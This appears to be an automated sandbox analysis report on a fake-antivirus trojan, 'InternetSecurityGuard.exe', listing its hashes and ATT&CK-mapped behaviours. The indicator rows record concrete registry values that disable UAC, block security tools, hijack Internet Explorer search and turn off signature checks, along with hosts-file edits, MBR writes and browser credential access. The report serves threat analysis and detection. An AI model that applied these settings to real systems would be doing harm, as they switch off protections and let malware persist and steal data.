aee69ef9040e902b7a6639d7594df47e0e73625143a671583db8b85be525a3e5

Resubmissions

02/03/2024, 22:38

240302-2kwptaae3710

02/03/2024, 22:34

240302-2g86qsad9610

Analysis

max time kernel
1649s
max time network
1716s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
02/03/2024, 22:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Fake AV/InternetSecurityGuard.exe
Size 6.1MB
Sample240302-2kwptaae37
SHA256 b6371644b93b9d3b9b32b2f13f8265f9c23ddecc1e9c5a0291bbf98aa0fc3b77
MD5 04155ed507699b4e37532e8371192c0b
SHA1 a14107131237dbb0df750e74281c462a2ea61016
SHA512 6de59ebbc9b96c8a19d530caa13aa8129531ebd14b3b6c6bbb758426b59ed5ab12483bfa232d853af2e661021231b4b3fcc6c53e187eeba38fa523f673115371
SSDEEP 98304:hvOOFJ+Z8eAgy7SH9s76RSvyqJOBgECfMfYv+85JH0DVczt8A:hvOOFJ+ggr9s76R+wcMAv+IHCczt8
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

bootkit discovery evasion persistence spyware stealer trojan

Malware Config

Signatures

UAC bypass 3 TTPs 6 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	InternetSecurityGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "2"	InternetSecurityGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "2"	InternetSecurityGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	InternetSecurityGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	InternetSecurityGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	InternetSecurityGuard.exe

Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518

Enumerates VirtualBox registry keys 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	InternetSecurityGuard.exe

Blocks application from running via registry modification 18 IoCs

Adds application to list of disallowed applications.

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	InternetSecurityGuard.exe
Key created	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "MSASCui.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\3 = "egui.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\8 = "avgui.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\9 = "avgtray.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\11 = "avgcfgex.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\13 = "avgchsvx.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\4 = "avgnt.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\5 = "avcenter.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\12 = "avgemc.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "ekrn.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\6 = "avscan.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\7 = "avgfrw.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\0 = "msseces.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\10 = "avgscanx.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\14 = "avgcmgr.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\15 = "avgwdsvc.exe"	InternetSecurityGuard.exe

Drops file in Drivers directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	InternetSecurityGuard.exe
File created	C:\Windows\system32\drivers\etc\host_new	InternetSecurityGuard.exe
File created	C:\Windows\System32\drivers\etc\hosts	InternetSecurityGuard.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	InternetSecurityGuard.exe

Sets file execution options in registry 2 TTPs 64 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdwarePrj.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashWebSv.exe	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PSUNMain.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wfindv32.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avp32.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rscdwld.exe	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ent.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icmon.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcshield.exe	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wnt.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PsCtrls.exe	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msapp.exe	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pavproxy.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashQuick.exe	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kazza.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pavcl.exe	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SafetyKeeper.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vcsetup.exe	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PSANToManager.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\drweb32.exe	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mghtml.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pf2.exe	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmon016.exe	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\support.exe	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\trojantrap3.exe	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\moolive.exe	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nssys32.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perswf.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AVENGINE.EXE	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msccn32.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\persfw.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bpc.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\navwnt.exe	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avwin.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hwpe.exe	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sphinx.exe	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDSurvey.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsbgate.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\History.exe	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dpfsetup.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rescue.exe	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winactive.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PerAvir.exe	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svshost.exe	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\About.exe	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\trickler.exe	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\~1.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\f-prot95.exe	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lucomserver.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system.exe	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icsupp95.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcvsrte.exe	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sbserv.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rwg	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgwdsvc.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ndd32.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avpm.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsctool.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AntivirusPro_2010.exe	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\claw95cf.exe\Debugger = "svchost.exe"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\defwatch.exe	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashChest.exe	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dllcache.exe	InternetSecurityGuard.exe

Loads dropped DLL 4 IoCs

pid	Process
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Unexpected DNS network traffic destination 36 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	208.67.222.222
Destination IP	208.67.220.220
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.220.220
Destination IP	208.67.220.220
Destination IP	208.67.220.220
Destination IP	208.67.220.220
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.220.220
Destination IP	208.67.220.220
Destination IP	208.67.220.220
Destination IP	208.67.220.220
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.220.220
Destination IP	208.67.222.222
Destination IP	208.67.220.220
Destination IP	208.67.220.220
Destination IP	208.67.222.222
Destination IP	208.67.220.220
Destination IP	208.67.220.220
Destination IP	208.67.220.220
Destination IP	208.67.220.220
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.220.220
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.220.220

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows\CurrentVersion\Run\Internet Security Guard = "\"C:\\ProgramData\\a7e83\\IS408.exe\" /s /d"	InternetSecurityGuard.exe

Checks for any installed AV software in registry 1 TTPs 1 IoCs

Security Software Discovery

T1518.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Eset\Nod\	InternetSecurityGuard.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	InternetSecurityGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	InternetSecurityGuard.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	InternetSecurityGuard.exe

Enumerates connected drives 3 TTPs 21 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\L:	InternetSecurityGuard.exe
File opened (read-only)	\??\M:	InternetSecurityGuard.exe
File opened (read-only)	\??\O:	InternetSecurityGuard.exe
File opened (read-only)	\??\P:	InternetSecurityGuard.exe
File opened (read-only)	\??\R:	InternetSecurityGuard.exe
File opened (read-only)	\??\W:	InternetSecurityGuard.exe
File opened (read-only)	\??\I:	InternetSecurityGuard.exe
File opened (read-only)	\??\K:	InternetSecurityGuard.exe
File opened (read-only)	\??\X:	InternetSecurityGuard.exe
File opened (read-only)	\??\N:	InternetSecurityGuard.exe
File opened (read-only)	\??\S:	InternetSecurityGuard.exe
File opened (read-only)	\??\T:	InternetSecurityGuard.exe
File opened (read-only)	\??\Y:	InternetSecurityGuard.exe
File opened (read-only)	\??\Z:	InternetSecurityGuard.exe
File opened (read-only)	\??\H:	InternetSecurityGuard.exe
File opened (read-only)	\??\J:	InternetSecurityGuard.exe
File opened (read-only)	\??\G:	InternetSecurityGuard.exe
File opened (read-only)	\??\U:	InternetSecurityGuard.exe
File opened (read-only)	\??\V:	InternetSecurityGuard.exe
File opened (read-only)	\??\E:	InternetSecurityGuard.exe
File opened (read-only)	\??\Q:	InternetSecurityGuard.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	InternetSecurityGuard.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 11 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\URL = "http://findgala.com/?&uid=7&q={searchTerms}"	InternetSecurityGuard.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Internet Explorer\ltHI = "0"	InternetSecurityGuard.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\MSCompatibilityMode = "0"	InternetSecurityGuard.exe
Key created	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Internet Explorer\SearchScopes	InternetSecurityGuard.exe
Key created	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}	InternetSecurityGuard.exe
Key created	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Internet Explorer\BrowserEmulation	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Internet Explorer\PRS = "http://127.0.0.1:27777/?inj=%ORIGINAL%"	InternetSecurityGuard.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Internet Explorer\IIL = "0"	InternetSecurityGuard.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Internet Explorer\ltTST = "17718"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Internet Explorer\Download\CheckExeSignatures = "no"	InternetSecurityGuard.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Internet Explorer\Download\RunInvalidSignatures = "1"	InternetSecurityGuard.exe

Modifies data under HKEY_USERS 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Internet Explorer\SearchScopes	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\URL = "http://findgala.com/?&uid=7&q={searchTerms}"	InternetSecurityGuard.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Internet Explorer\SearchScopes	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Internet Explorer\SearchScopes\URL = "http://findgala.com/?&uid=7&q={searchTerms}"	InternetSecurityGuard.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Internet Explorer\SearchScopes	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Internet Explorer\SearchScopes\URL = "http://findgala.com/?&uid=7&q={searchTerms}"	InternetSecurityGuard.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\ProgID\ = "InternetSecurityGuard.DocHostUIHandler"	InternetSecurityGuard.exe
Key created	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_Classes\Software\Microsoft\Internet Explorer\SearchScopes	InternetSecurityGuard.exe
Key created	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\Software\Microsoft\Internet Explorer\SearchScopes	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\InternetSecurityGuard.DocHostUIHandler\ = "Implements DocHostUIHandler"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\InternetSecurityGuard.DocHostUIHandler\Clsid\ = "{3F2BBC05-40DF-11D2-9455-00104BC936FF}"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\InternetSecurityGuard.DocHostUIHandler	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\ProgID	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\ = "Implements DocHostUIHandler"	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\LocalServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\FAKEAV~1\\INTERN~1.EXE"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\InternetSecurityGuard.DocHostUIHandler\Clsid	InternetSecurityGuard.exe
Key created	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\Software	InternetSecurityGuard.exe
Key created	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\Software\Microsoft	InternetSecurityGuard.exe
Key created	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\Software\Microsoft\Internet Explorer	InternetSecurityGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\Software\Microsoft\Internet Explorer\SearchScopes\URL = "http://findgala.com/?&uid=7&q={searchTerms}"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\LocalServer32	InternetSecurityGuard.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
